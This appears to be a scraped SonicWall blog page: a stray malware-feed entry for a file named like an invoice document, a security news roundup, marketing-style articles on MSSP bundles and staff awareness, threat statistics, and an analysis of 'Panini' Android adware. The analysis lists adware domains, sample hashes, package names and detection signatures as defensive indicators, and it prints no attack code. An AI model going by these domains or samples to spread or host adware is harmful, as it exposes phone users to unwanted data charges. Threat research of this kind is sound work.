First Seen 2018-10-16 20:46:39

64242c0a68de541401001231d24a7c8aa157125c67137d4f3365cf37877985e7
Filename Invoice_ 84319.16_10.doc
First Seen 2018-10-16 21:41:31

 

Cyber Security News & Trends – 10-19-18

/0 Comments/in /by

Each week, SonicWall collects the cyber security industry’s most compelling, trending and important interviews, media and news stories — just for you.

SonicWall Spotlight

10 Security Advances That Could Change the Game  – Channel Partners Online

  • SonicWall’s Lawrence Pingree shares his perspective on the need for rapid chip augmentation in order to successfully combat the cybersecurity war in 2019.

SonicWall and Partners Take Part at GITEX Technology Week – Tahawul Tech

  • SonicWall is a major presence at GITEX Technology Week, one of the biggest technology events in the world.

How Cyberhardening Can Reduce Risk to the Entire Medical Community – Beckers Hospital Review

  • Data from SonicWall’s Capture Labs is used to help show just how much data in the medical industry is vulnerable to cyberattack.

Cyber Security News

Facebook Finds Hack Was Done by Spammers, Not Foreign State – The Wall Street Journal

  • Facebook thinks that spammers looking to make money through advertising, and not a nation-state, are responsible for a recent data breach involving the data of 30 million accounts.

The Mysterious Return of Years-Old Chinese Malware – Wired

  • A modified version of malware dating back to 2010, that has never been made public and is not known to have been sold on the black market, has had a mysterious resurgence in recent months.

Pentagon Discloses Card Breach – ZDNet

  • Only a week after reporting that it was struggling to meet the demands of cyberwarfare, the Pentagon confirms that a security breach affecting up to 30,000 personnel was discovered at the start of October this year.

UK Firms “Not Prepared” for Data Breaches – Tech Radar

  • It’s not just U.K. firms. According to a report released for European Cybersecurity Month. one in six European businesses are not prepared for a cyberattack, even though over a third of them have suffered from a data breach in the past year.

Zero-Days, Fileless Attacks Are Now the Most Dangerous Threats to the Enterprise  – ZDNet

  • According to a study conducted by the Ponemon Institute, the average cost of a successful endpoint-based attack has increased by roughly 42 percent year-on-year with the average organization losing over $7 million.

New Cyberdefenses to Protect Your Smart Appliances From Hackers – The Wall Street Journal

  • A partnership was announced between U.K. based chip-designers Arm and Boston-based cybersecurity firm Cyberreason; they aim to develop secure chip designs specifically protecting Internet of Things (IOT) devices from cyberattack.

Report: Cryptocurrency Exchanges Lost $882 Million to Hackers – Bank Info Security

  • Cryptocurrency exchanges continue to suffer from successful cyberattacks and a newly released study has tallied the damages at $882 million in the past two years, this is only expected to get worse in 2019.

In Case You Missed It

3 Elements of a Successful Managed Security Services (MSS) Bundle

/0 Comments/in , /by

The small- and medium-sized business (SMB) market is rapidly accelerating its adoption of converged managed IT services to alleviate headaches and prevent risks.

More and more businesses use cloud-based services for enterprise applications, processing or communications, placing an even higher priority on network performance and reliability. Yet many SMBs are facing a cybersecurity crisis.

Cyber threats are continuing to get more sophisticated and frequent; SMBs are becoming a more routine target. 61 percent of SMBs experienced a cyber breach in 2017, compared to 55 percent in 2016.

Most managed IT service providers recognize that SMBs don’t have the awareness, knowledge or resources to implement cyber defense mechanisms to effectively protect their data, devices and people. Furthermore, the cybersecurity services market has developed enterprise-class solutions aimed at large enterprise businesses because they have historically been prime targets.

“The challenge for MSPs is finding effective tools that pair well with internal processes to mitigate the risk of a cyber breach, threat of downtime or damage to customers’ reputation.”

There are incredible opportunities for MSPs to develop service options customized for SMBs to address cybersecurity woes while accommodating limited budgets. MSPs that are focused on this will continue to add real value to the services they are providing and strengthen customer relationships by building trust.

The challenge for MSPs is finding effective tools that pair well with internal processes to mitigate the risk of a cyber breach, threat of downtime or damage to customers’ reputation. If bundled intelligently, these services are any easy sell. No business owner wants to see their organization featured on the six o’clock news for a data breach.

Consider three foundational elements of an MSSP plan. These may consist of several individual services, but those services are aimed at protecting specific functions.

Data Protection

Just like their enterprise counterparts, small businesses have a growing data footprint. Storage keeps getting less expensive and many SMBs don’t have a data governance policy, causing the gigabytes to pile up.

Whether the data is stored on-premises or in the cloud, it’s important to have appropriate protections in place, but also the ability to restore data in the event of a disaster or cyberattack. Good MSSP bundles aimed at protecting data will include:

  • Content Filtering: Having a web filtering service to block inappropriate, unproductive or malicious websites is a major first step in preventing cyberattacks.
  • Email Security: Implement secure email solutions to protect SMBs from email-borne threats, such as ransomware, zero-day attacks and spear-phishing attempts, and comply with regulatory mandates to encrypt sensitive emails.
  • Backup & Disaster Recovery: Ensure that an SMB’s data is effectively backed up; whether it lives on a workstation, on-premises device or in the cloud. Being able to restore information that has been compromised is the best insurance policy.

Device Protection

Endpoint devices come in all shapes, sizes and flavors, but the quantity of devices continues to grow. This means that there are more potential intrusion points than ever before. It’s important for a good MSSP bundle to include services aimed at protecting and monitoring endpoint devices.

  • Endpoint Management: MSSPs should have a comprehensive inventory of all devices associated with an SMB customer. Good endpoint management solutions will allow MSSPs to push updates and security patches as they are released to ensure that endpoints stay hardened.
  • Endpoint Security: It almost goes without saying, but having a solid antivirus endpoint security solution in place is still one of the best defenses for protecting endpoint devices.
  • Endpoint Rollback: Mistakes happen. Phishing emails are opened. Malicious links are clicked. But MSSPs can add value for their customers by using endpoint protection solutions that include automated rollback features for those events when a device is compromised.

People Protection

The human element is the most difficult to control and the hardest to protect. But it is critical.

Provide convenient and easy pathways for people to adopt sound security behavior. A consistent security awareness culture makes it easier for users to be aware of security threats. Consider the following bundled services as part of your MSSP offering.

  • Virtual Private Network (VPN): Provide a secure lane for all SMB endpoints to work over a VPN connection. A VPN client may route back to the customer’s network if there are on-premises connectivity demands, or it may be more generic VPN connection to an MSSP’s gateway. VPNs are prevalent and not just for workstations anymore. Modern VPN services offer clients for just about any type of endpoint and are especially important for mobile devices.
  • Policies & Procedures: Provide template policies and procedures to your SMB customers. Again, many of them are leaving IT management, including governance, up to you. Providing basic templates for things like password management, backup and user provisioning is an easy way to get them to create a more robust security awareness culture.
  • Security Awareness Training: For SMBs that subscribe to your MSSP bundle, provide them with routine threat awareness and simple tips and tricks to enforce that security awareness culture.

The most effective MSSP program is dependent on partnerships. Partnerships between SMBs and their IT partners, but also partnerships between MSSP providers and solutions providers. MSPs that bundle services to offer an MSSP will be well-suited to work with security vendors able to offer a comprehensive spectrum of services for their SMB customers.

About ProviNET

ProviNET is a SonicWall SecureFirst Gold Partner. For nearly three decades, ProviNET has delivered trusted technology solutions for healthcare organizations. Whether it’s a single project or full-time onsite work, ProviNET designs and implements customized solutions so healthcare organizations can focus on core services.

ProviNET’s tight-knit group of experienced, industry-certified personnel are focused on customer satisfaction. They are a reputable organization, fulfilling immediate IT needs and helping plan for tomorrow. They are ready to put their extensive knowledge to work for healthcare, developing strategies and solving challenges with the latest technology.

To learn more about ProviNET, please visit www.provinet.com.

September 2018 Cyber Threat Data: Ransomware Threats Double Monthly, Encrypted Threats Still Growing

/0 Comments/in /by

We’re into October and based on this year’s reports so far, the threat landscape is continuing to evolve and change as the global cyber arms race grows.

Phishing attacks continue to trend downwards, with September data showing the volume of attacks down 92 percent compared to the same time last year. The reasons for this decline are not 100 percent clear, but may be partly attributed to increased awareness as people are becoming more adept at identifying phony websites and sharing information about common scams.

While phishing is still a threat, particularly as the holiday season approaches, it appears that cyber criminals are continuing to favor attacks involving malware, ransomware, TLS/SSL encrypted attacks and intrusion attempts. SonicWall Capture Advanced Threat Protection sandbox, with Real-Time Deep Memory Inspection (RTDMITM), has discovered 27,680 new attack variants this year, further evidence that cyber criminals are pursuing more sophisticated and coordinated methods of attack.

Globally, the SonicWall Capture Threat Network, which includes more than 1 million sensors across the world, recorded the following 2018 year-to-date attack data through September 2018:

  • 8.5 billion malware attacks (54 percent increase from 2017)
  • 2.9 trillion intrusion attempts (49 percent increase)
  • 262.4 million ransomware attacks (108 percent increase)
  • 1.9 million encrypted threats (56 percent increase)

In September 2018 alone, the average SonicWall customer faced:

  • 1,662 malware attacks (24 percent decrease from July 2017)
  • 791,015 intrusion attempts (19 percent increase)
  • 56 ransomware attacks (99 percent increase)
  • 70.9 encrypted threats (61 percent decrease)
  • 10 phishing attacks each day (92 percent decrease)

 SonicWall Capture Security Center

SonicWall cyber threat intelligence is available in the SonicWall Security Center, which provides a graphical view of the worldwide attacks over the last 24 hours, countries being attacked and geographic attack origins. This view illustrates the pace and speed of the cyber arms race.

The resource provides actionable cyber threat intelligence to help organizations identify the types of attacks they need to be concerned about so they can design and test their security posture ensure their networks, data, applications and customers are properly protected.

Get the Mid-Year Update

Dive into the latest cybersecurity trends and threat intelligence from SonicWall Capture Labs. The mid-year update to the 2018 SonicWall Cyber Threat Report explores how quickly the cyber threat landscape has evolved in just a few months.

GET THE UPDATE

Workplace Cybersecurity Is Everyone’s Responsibility

/0 Comments/in /by

The cyberthreat landscape is changing. An increasing number of cyberattacks are executed using sophisticated tactics. Earlier this year, SonicWall warned that malware volume increased 102 percent in the first half of 2018 compared to that of 2017.

The report also notes a significant increase in cyberattacks that leverage new variants of malware, including ransomware and encrypted threats. Further, attacks are becoming highly targeted, for example baseStriker and PhishPoint target Office 365 users.

Attackers are evolving to take advantage of workplace technology trends, including the cloud and BYOD. These trends empower workforces to be mobile and productive as demanded by today’s 24/7 hyper-connected reality. Unfortunately, these behavior changes are significantly expanding the attack surface area for cybercriminals to exploit.

“Attackers are evolving their tactics to take advantage of workplace technology trends, including the cloud and BYOD.”

Today, network security means more than just safeguarding data, applications and infrastructure. Employees are not only resources that need protection, but also weaknesses or valuable assets for a stronger cybersecurity posture.

It is, of course, essential for organizations to have necessary security in place to monitor and protect attack surface areas. But no security product can be a silver bullet to stop all cyberattacks. It is necessary to educate and empower the last and most crucial line of defense: your employees.

Build a Culture of Cybersecurity Awareness

Employees are a key resource for an organization. As driving revenue is the primary objective, safeguarding the organization must also become one of the main responsibilities for employees. With the right frameworks and security awareness training programs in place, they can also be an effective layer of defense — a human firewall.

By extending these responsibilities to all employees, organizations can prevent sophisticated cyberattacks, saving the organization from financial, legal and reputation damages.

Creating cybersecurity awareness and training programs must include what employees must be aware of, what they need to watch out for, what best practices should be leveraged and how to follow them. It also must be easy to report security incidents. These programs must be delivered efficiently, measured and be easy to use.

Since the cyber threat landscape is evolving, the “human firewall” needs continuous signature/intelligence updates in terms of the new threats and how to identify and stop them. This is modern cybersecurity awareness.

Stop the No. 1 Cyberattack Vector: Email

But cybercriminals also know to target the human element to execute attacks. Email is the No. 1 threat vector used by cybercriminals today; more than 90 percent of attacks start with a phishing campaign.

Modern phishing tactics can trick even the savviest users. Attacks that use fake login pages, impersonation and business email compromise (BEC) are difficult to detect and block as these emails do not contain malware.

Organizations would benefit from taking a human-centric approach to email security and include user training and awareness to spot and avoid clicking on phishing email threats. Organizations should train employees to:

Embrace security as one of their key responsibilities.Beware of sudden changes in business practices. For example, email requests for transfers of funds.
Treat any suspicious email with caution.Review the signature and legitimacy of the request.
Look at domain names from suspicious emails.Confirm requests for transfers of funds or confidential information, such as W-2 records.
Exercise extra caution if an email is from a free, web-based account.Do not use the “Reply” option to respond to any business emails. Instead, use the “Forward” option and either type in the correct email address or select it from the email address book to ensure the intended recipient’s correct email address is used.
Check for spelling mistakes and grammatical errors.

Spot Sophisticated Phishing Attacks

Want to brush up on your ability to spot a phishing attack? Take SonicWall’s quick Phishing IQ test or download our exclusive brief, “How to Stop Email Spoofing.”

Monitor and Manage Shadow IT

According to Gartner, by 2020 one-third of security breaches will be the result of shadow IT. The ease of SaaS adoption and deployment leads to the following problems:

  • Losing control over sensitive corporate data traversing through public or hybrid clouds and data centers introduces new risks such as unauthorized access, malware propagation, data leakage and non-compliance.
  • Balancing security budgets, shadow IT practices and employee productivity.

To address the above challenges, IT administrators need Cloud Access Security Broker (CASB) solutions to provide visibility for what applications are being used and where. This will help them better understand the overall risk posture.

To mitigate the risks of shadow IT and embrace productivity, both organizations and employees must understand the agreement on what constitutes a legitimate application allowed for official use. Employees must be trained to use judgement so that they do not upload sensitive or confidential data into cloud-based applications.

Protect Endpoints, Especially When Outside the Perimeter

Workforces today rely on the same device for business and personal use, resulting in intermingling of business and personal data and applications. This creates an increased risk of security breaches for organizations, including:

  • Unauthorized users gaining access to company data and applications
  • Malware-infected devices acting as conduits to infect company systems
  • Interception of company data in transit on unsecured public Wi-Fi networks
  • Compliance with audit and regulatory requirements
  • Loss of business data stored on devices if rogue personal apps or unauthorized users gain access to data

To ensure proper safety, employees must be educated on the risks an endpoint poses to an organization, especially when those devices are frequently used from home, mobile or public networks. This can start with the basics such as:

  • Lock mobile devices when not in use.
  • Don’t use USB drives you don’t trust.
  • Update all software, operating systems and malware signatures.
  • Use secure VPN connections when accessing corporate resources over unsecured networks.
  • Install next-generation anti-virus (NGAV) to stop the latest threats.

Cybersecurity: Our Shared Responsibility

As cyberattacks evolve, organizations need to take a human-centric approach to security. Cybersecurity is everyone’s job. It’s a shared responsibility. It’s critical that structures, guidelines and processes are in place to make employees care and be responsible to remain safe online while at work.

Organizations will greatly benefit by incorporating user awareness and training programs to educate and empower employees who will form a critical line of defense. Cybersecurity is never finished. Make it core to company culture.

About Cybersecurity Awareness Month

The 15th annual National Cybersecurity Awareness Month (NCSAM) highlights user awareness among consumers, students/academia and business. NCSAM 2018 addresses specific challenges and identifies opportunities for behavioral change. It aims to remind everyone that protecting the internet is “Our Shared Responsibility.”

In addition, NCSAM 2018 will shine a spotlight on the critical need to build a strong, cyber secure workforce to help ensure families, communities, businesses and the country’s infrastructure are better protected through four key themes:

  • Oct. 1-5: Make Your Home a Haven for Online Safety
  • Oct. 8-12: Millions of Rewarding Jobs: Educating for a Career in Cybersecurity
  • Oct. 15-19: It’s Everyone’s Job to Ensure Online Safety at Work
  • Oct. 22-26: Safeguarding the Nation’s Critical Infrastructure

Learn more at StaySafeOnline.org.

Panini Adware for Android soaks network bandwidth, bad news for users with limited data

/in /by

SonicWall Capture Labs Threats Research Team has been observing an Android adware that spreads using different app names and icons, this adware does not ask for a plethora of permissions (like most malware) and its network activity typically starts after it downloads a jar file after few minutes of execution. Upon further investigation we found more than 500+ samples that exhibit this behavior from the last two months alone indicating that this campaign is very active in the wild. We named this adware campaign Panini because of the filename of the jar file that gets downloaded.

Most of these samples use generic and simple app names such as Video, Downloader and Music; we have been tracking samples belonging to this campaign for a while and below is a chart that shows the breakup of different app names used by samples belonging to this campaign that we analyzed:

 

As visible above, the app names are fairly generic in nature and might have been chosen to keep the adware hidden in the crowd of Android apps with unique and attractive app names.

Birds of the same feather

There are few similarities among the different samples belonging to this campaign:

Code structure

Below is a comparison of code structure from 3 different samples with different app and package names belonging to the Panini Adware campaign:

List of permissions

All of the samples belonging to this campaign request for the following permissions:

  • android.permission.INTERNET
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.WRITE_EXTERNAL_STORAGE

Similar folder structure from the install location

The folder structure on the device post-installation is same for all the samples from this campaign:

Icons being used

All the samples belonging to this campaign use icons from the following set, these set of icons are present in every sample in the resource folder mipmap-xxhdpi-v4:

Icon mind games

For apps belonging to this campaign, the icon that gets displayed in the app drawer post installation is different from what appears before installation.
Example – For apk com.cradiff.devilfighter (MD5 – c43a22306e1f34bd7ed59f5272e2012b) the icon that appears for this apk is:

Post installation the icon visible in the app drawer is different:

Most likely, the reason for this might be the fact that a user notices a new icon in the app drawer and might click on the new icon out of curiosity to find out when he installed this new app/what this app is about. This is a clever tactic that makes the victim open the app and thereby execute the adware.

We found a folder – mipmap-xxhdpi-v4 – within the resources folder for the apk that contains icons for most of the samples belonging to this campaign:

The icons are shown (from the list above) based on what is coded in the Android Manifest.xml file:

Once the adware begins execution, the icon disappears from the app drawer. If the victim tries to remove this app from settings he would see a different icon than the one that appeared in the app drawer. This is most likely a ploy to confuse the victim when he tries to uninstall the apk:

Permissions

Apps belonging to this campaign request for the following permissions:

  • android.permission.INTERNET
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.WRITE_EXTERNAL_STORAGE

Among these permissions the only dangerous permission is its request to write data to external storage. Usually malware tend to request for a number of normal and dangerous permissions and based on the permission usage we can often determine the behavior of the malware. Considering the only permission requested by this adware is the ability to write to an external storage, we can fairly assume there will be some sort of file that gets downloaded.

That is exactly what happens once the adware begins execution.

After a few minutes of execution the adware initiates a GET request for a jar file named romanticpanini [Blocked by GAV: JScript.A_161 (Trojan) ]:

The Panini

The file romanticpanini is saved locally in the folder app_extra:

Once the jar file is saved, the network activity on the device multiplies and we start seeing heavy advertisement related traffic, soon enough we saw full screen advertisements pop up regularly on our infected device:

We measured the network traffic in different test conditions and observed a sharp rise in network traffic originating from the adware samples. We ran the test for 10 minutes after an adware sample is installed and executed on the device.

On average we saw data consumption of close to 5MB post infection (as shown in the image below). This does not bode well for users who have limited/capped data plans on their devices as additional data consumption leads to extra charges on the mobile phone bill.

Adware Domains

Every sample from this campaign contains a hardcoded domain, few domains that we encountered during our analysis of Panini adware are:

  • cdn.mobengine.xyz
  • ccthi.enconfhz.com
  • first.luckshery.com
  • cthi.nconfhz.com
  • three.nameapp.xyz
  • api.jetbudjet.in
  • api.mobengine.xyz
  • con.rsconf.site
  • one.nameapp.xyz
  • get.confhz.space
  • mi1k.io

VirusTotal URL scan of one of the domains – cdn.mobengine.xyz – revealed another jar file that is hosted on this domain along with romanticpanini – stealmaggot4.jar:

The image above additionally shows different apps that harbor this campaign.

Distribution

The apps belonging to this campaign use different package and app names, among the samples we observed for the last few weeks few package names repeated a number of times. A quick search on the Android malware collaboration portal Koodous gives us results for a high number of samples from this campaign, below image shows the number of results for apps with a particular package name:

 

Below image shows the geographical distribution of the hits for the signatures belonging to this campaign:

 

Conclusion

Traditionally adware has always fallen in the grey area in terms of calling them malicious/blocking them. Most of the times they do not pose a risk towards user’s data and privacy like traditional malware but are more of a ‘nuisance’ when they pop full-screen ad’s and/or consume large amounts of data. The Panini adware campaign falls under the same umbrella where it poses a risk in terms of  data consumption. This particularly hits users who use a mobile plan with restricted data limits, for users with unlimited data plans usually the data speeds reduce once a particular limit is reached so they are affected as well.

It is a good habit to routinely check the network data consumption on our devices. Running a routine check using Network Monitoring apps can give an idea if a particular app is consuming a lot of network data and can potentially uncover an adware on the device.

SonicWall Capture Labs provides protection against this threat via the following signatures:

  • GAV: AndroidOS.Panini.AD (Trojan)
  • GAV: AndroidOS.Panini.AD_2 (Trojan)
  • GAV: JScript.A_161 (Trojan)

Below are few samples belonging to this campaign:

  • 778e132ed56527e775fb9029603968c3 – com.AUTORUS.RetroDrag
  • 89a7e6a607be86c702b6f4a1126f5002 – com.AUTORUS.RetroDrag
  • 215de7aab595fb4bb2d41faa555dc467 – com.AUTORUS.RetroDrag
  • c43a22306e1f34bd7ed59f5272e2012b – com.cradiff.devilfighter
  • a359526b2c7ae82c25d1182ea583cea5 – com.cradiff.devilfighter
  • 791adeb47a81a94e50e84bb5c78a21d3 – com.cradiff.devilfighter
  • b3ead04496567b171be4953ba20f90ce – com.cradiff.devilfighter
  • 927bac83d1c8df5dd160d6687fe8cc40 – com.cradiff.devilfighter
  • ab4483a82c1bbe3022c935b36cf38ba3 – com.cradiff.devilfighter
  • 49e0bb2f5347693b897a212615973e0a – com.cradiff.devilfighter
  • 8a23ad4b9777319a08e8b68a3c99bdab – com.cradiff.devilfighter
  • 4778de1b22cf844dd182fa062013b5b7 – com.cradiff.devilfighter
  • 74515dc638dd0ba76ea0513e1c026767 – com.cradiff.devilfighter
  • 9d355e11199335beeeec6267ff47a995 – com.gameloft.android.GAND.GloftM3HP
  • 0c99a2cb99e946b3cac401fce4619d65 – com.gameloft.android.GAND.GloftM3HP
  • ee641d3491110767edba029527c63200 – com.herocraft.game.free.gibbets2
  • aa98977c4360c04d5b0f9f63b314076a – com.movinapp.dict.enit.free
  • 7a2d3c11965e676d926091ffec9f36f5 – com.movinapp.dict.enit.free
  • 5816d134ea058d5ec30f5760ea19cb39 – com.movinapp.dict.enit.free
  • cae85059276a70c436942f2b4dc7aec4 – ch.nth.android.contentabo_l01_sim_univ
  • 2d8eaf4c9b20810166fc216ee4558e56 – ch.nth.android.contentabo_l01_sim_univ
  • 341188b0810d2943dfa0f419fd3d66ef – com.pnr.engproverbsandsayings
  • b8dd1dd5aa2e73cdf90880ea2211a565 – com.pnr.engproverbsandsayings
  • 867f97568eb4ff260c679a6f51508372 – com.pnr.engproverbsandsayings
  • 0b734a3f4d934b0859aa0e65733bd99f – com.pnr.engproverbsandsayings
  • 789d63e0d80c31c99b412b01ee460578 – com.tedrasoft.enigmas
  • a78befd074b562e94655cd76c6d82dc7 – com.tedrasoft.enigmas
  • 53a3415d888966d2efc8d6d4b5a8faec – com.tedrasoft.gravity.pipes
  • d305b2a8107a253f0a4cfbe5a381d120 – com.zddapps.beststatus